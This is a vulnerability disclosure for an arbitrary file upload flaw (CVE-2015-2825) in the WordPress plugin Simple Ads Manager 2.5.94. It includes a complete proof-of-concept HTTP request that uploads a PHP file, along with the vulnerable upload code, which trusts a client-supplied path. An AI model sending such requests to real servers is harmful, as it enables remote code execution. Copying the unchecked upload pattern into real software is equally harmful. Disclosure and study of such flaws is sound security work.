WordPress Plugin Simple Ads Manager 2.5.94 - Arbitrary File Upload

#Vulnerability title: Wordpress plugin Simple Ads Manager - Arbitrary File Upload

#Product: Wordpress plugin Simple Ads Manager

#Vendor: https://profiles.wordpress.org/minimus/

#Affected version: Simple Ads Manager 2.5.94

#Download link: https://wordpress.org/plugins/simple-ads-manager/

#CVE ID: CVE-2015-2825

#Author: Tran Dinh Tien (tien.d.tran@itas.vn) & ITAS Team





::PROOF OF CONCEPT::



+ REQUEST

POST /wp-content/plugins/simple-ads-manager/sam-ajax-admin.php HTTP/1.1

Host: targer.com

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Content-Type: multipart/form-data; boundary=---------------------------108989518220095255551617421026

Content-Length: 683



-----------------------------108989518220095255551617421026

Content-Disposition: form-data; name="uploadfile"; filename="info.php"

Content-Type: application/x-php



<?php phpinfo(); ?>

-----------------------------108989518220095255551617421026

Content-Disposition: form-data; name="action"



upload_ad_image

-----------------------------108989518220095255551617421026—





+ Vulnerable file: simple-ads-manager/sam-ajax-admin.php



+ Vulnerable code: from line 303 to 314



    case 'sam_ajax_upload_ad_image':

      if(isset($_POST['path'])) {

        $uploadDir = $_POST['path'];

        $file = $uploadDir . basename($_FILES['uploadfile']['name']);



        if ( move_uploaded_file( $_FILES['uploadfile']['tmp_name'], $file )) {

          $out = array('status' => "success");

        } else {

          $out = array('status' => "error");

        }

      }

      break;

	  

	  

+ REFERENCE: 

- http://www.itas.vn/news/ITAS-Team-found-out-multiple-critical-vulnerabilities-in-Hakin9-IT-Security-Magazine-78.html?language=en

- https://www.youtube.com/watch?v=8IU9EtUTkxI